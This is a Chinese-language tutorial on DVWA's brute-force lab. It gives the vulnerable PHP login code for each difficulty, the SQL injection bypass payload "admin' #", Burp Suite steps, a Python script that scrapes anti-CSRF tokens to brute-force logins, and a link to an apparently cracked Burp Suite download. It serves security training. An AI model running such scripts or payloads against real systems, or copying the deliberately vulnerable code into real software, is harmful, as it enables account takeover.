DVWA笔记（二）----Brute Force

用户5878089

发布于 2019-07-25 07:59:07

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文章被收录于专栏：网络攻防实战知识交流网络攻防实战知识交流

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代码可运行

“爆破？物理爆破才是王道！”

前言

相信大家看过之前的教程已经成功搭建起我们的渗透测试环境啦！那么，在这篇文章中一起开启web渗透测试的第一篇吧！爆破什么的最爽了！

Brute Force 介绍

Brute Force，即暴力（破解），是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一。通俗地讲，就是尝试每一种答案的可能，如以前轰动全国的12306“撞库”事件，实质就是暴力破解攻击。

暴力破解模型（开箱子模型）

for(密码=000;密码<=999;密码=密码+1)

{

输入密码;

按下开锁按钮;

if箱子关闭;

破解失败;

continue;

if箱子打开;

破解成功;

break;

}

上述代码通过一个循环，从000号密码开始尝试打开箱子，打开即停止，打不开便尝试下一个钥匙。就这样，我们尝试了每一种可能性，总会有打开箱子的时候（当然只是时间问题）

具体操作

首先我们启动phpstudy，开启Apache和Mysql服务

访问自己的本地

url（127.0.0.1/DVWA-master/index.php

点击下方的 DVWA Security来切换难度

这里选择low

然后点击上方的 Brute Force，在下方就能看到当前的难度

答题界面就是这里了

我们可以在本地文件夹中看到题目源代码（到你自己的路径中去找）

low等级

源代码：

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
     // Get users details
     $row    = mysqli_fetch_assoc( $result );
     $avatar = $row["avatar"];
     // Login successful
     $html .= "<p>Welcome to the password protected area {$user}</p>";
     $html .= "<img src=\"{$avatar}\" />";
    }
    else {
     // Login failed
     $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析：

服务器只验证了参数Login是否被设置，没有任何的防爆破机制，且对参数username没有做任何过滤，然而对password做了MD5校验，杜绝了通过参数password进行sql注入，因此利用的思路如下：

1、直接进行爆破

2、对没做过滤的username做sql注入

使用工具爆破

使用Bursuite进行爆破

burpsuite

下载链接

https://pan.baidu.com/wap/init?surl=mUf6wAbrNquDYx8xdhp48A

密码:

s1ws

注册使用

https://blog.csdn.net/u014549283/article/details/81248886

burpsuite 使用方法

https://www.cnblogs.com/nieliangcai/p/6689915.html

抓包如下

爆破位置如下

加载字典

开始爆破

发现这一条的回显长度明显不一样

查看Respose发现爆破成功！

手工注入

由于源代码中，没有对username输入进行过滤，而且能看到sql查询语句

可以构造payload来进行注入，从而绕过密码验证部分

sql注入原理

https://www.cnblogs.com/cnhacker/p/6984665.html

payload:

admin' #

注入成功，没有输入密码，但却登录成功

medium 等级

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
     // Get users details
     $row    = mysqli_fetch_assoc( $result );
     $avatar = $row["avatar"];
     // Login successful
     $html .= "<p>Welcome to the password protected area {$user}</p>";
     $html .= "<img src=\"{$avatar}\" />";
    }
    else {
     // Login failed
     sleep( 2 );
     $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析：

相对比于low等级，为了防止SQL注入，把用户提交的登录用户名和密码数据进行转义过滤，增加了mysqli_real_escape_string函数，mysqli_real_escape_string函数的用法如下：

mysqli_real_escape_string(escapestring,connection);

第一个参数为需转义字符串，第二个参数为数据库连接。

对以下输入的字符串进行转义：

NUL (ASCII 0)

\0xaa

使用了mysqli_real_escape_string函数过滤输入，字符编码为UTF-8的环境下，抵御了sql注入攻击（GBK编码下该函数会存在宽字节注入漏洞）。对于登录验证的防护，只用了sleep(2)，我们仍然可以采用暴力猜解的方式，利用方式同low等级。

因为使用了sleep(2)语句，导致我们爆破的时间大大增加，但仍旧可以爆破成功

high 等级

源代码：

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // 用户名输入过滤
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // 密码输入过滤
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // 带入数据库查询
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // 登录成功
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // 登录失败
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

分析：

代码中对username和password都进行了过滤，防止了sql注入的发生，并且有checkToken()函数和generateSessionToken()函数，定位到dvwa程序的源码中：

// Token functions --
function checkToken( $user_token, $session_token, $returnURL ) {  # Validate the given (CSRF) token
    if( $user_token !== $session_token || !isset( $session_token ) ) {
        dvwaMessagePush( 'CSRF token is incorrect' );
        dvwaRedirect( $returnURL );
    }
}
function generateSessionToken() {  # Generate a brand new (CSRF) token
    if( isset( $_SESSION[ 'session_token' ] ) ) {
        destroySessionToken();
    }
    $_SESSION[ 'session_token' ] = md5( uniqid() );
}
function destroySessionToken() {  # Destroy any session with the name 'session_token'
    unset( $_SESSION[ 'session_token' ] );
}
function tokenField() {  # Return a field for the (CSRF) token
    return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}

可以发现，High级别的代码加入了产生token值和检查token值的功能，通过抓包，可以看到登录验证时提交了四个参数：username、password、Login以及user_token。

可以看出每次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，先进行token的检查，再进行sql查询

抓包来验证一下，在Response中发现下一次请求的token

爆破方法

根据上述的分析过程，我们有了这样一个简单的爆破思路

for(用户名 in username.txt)
    for(密码 in password.txt)
    {
        访问首页;
        获取user_token;
        发送数据包;
        if 'Username and/or password incorrect.' in HTML;
            破解失败;
            continue;
        else
            破解成功;
            break;
    }

根据这个简单的模型，让我们来细化出一个爆破脚本

# -*- coding: utf-8-*- 
#Test By AHai
import requests
import re
IP = "127.0.0.1/DVWA-master/"
cookies = {
    'PHPSESSID':'dlc2unhh4ltlaeb0q0f05k1qm2',
    'security':'high'
}
for username in open("username.txt"):
    for password in open("password.txt"):
        #访问首页
        response = requests.get('http://'+IP+'/vulnerabilities/brute/',cookies=cookies)
        content = response.text
        #获取user_token
        user_token = re.findall(r"name='user_token' value='(.+?)'",content)[0]
        #发送登录数据包
        url = 'http://'+IP+'/vulnerabilities/brute/index.php?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = requests.get(url,cookies=cookies)
        content = response.text
        ###确认破解结果
        print ("-"*20)
        print (u"用户名："+username)
        print (u"密码："+password)
        if 'Username and/or password incorrect.' in content:
            print (u"破解失败！")
        else:
            print (u"破解成功！")
        print ("-"*20)

同样可以做到爆破出

用户名admin

密码password

imposible 等级

源代码：

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;
    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
     // User locked out.  Note, using this method would allow for user enumeration!
     //$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
     // Calculate when the user would be allowed to login again
     $last_login = strtotime( $row[ 'last_login' ] );
     $timeout    = $last_login + ($lockout_time * 60);
     $timenow    = time();
     /*
     print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
     print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
     print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
     */
     // Check to see if enough time has passed, if it hasn't locked the account
     if( $timenow < $timeout ) {
      $account_locked = true;
      // print "The account is locked<br />";
     }
    }
    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
     // Get users details
     $avatar       = $row[ 'avatar' ];
     $failed_login = $row[ 'failed_login' ];
     $last_login   = $row[ 'last_login' ];
     // Login successful
     $html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
     $html .= "<img src=\"{$avatar}\" />";
     // Had the account been locked out since last login?
     if( $failed_login >= $total_failed_login ) {
      $html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
      $html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
     }
     // Reset bad login count
     $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
     $data->bindParam( ':user', $user, PDO::PARAM_STR );
     $data->execute();
    } else {
     // Login failed
     sleep( rand( 2, 4 ) );
     // Give the user some feedback
     $html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
     // Update bad login count
     $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
     $data->bindParam( ':user', $user, PDO::PARAM_STR );
     $data->execute();
    }
    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>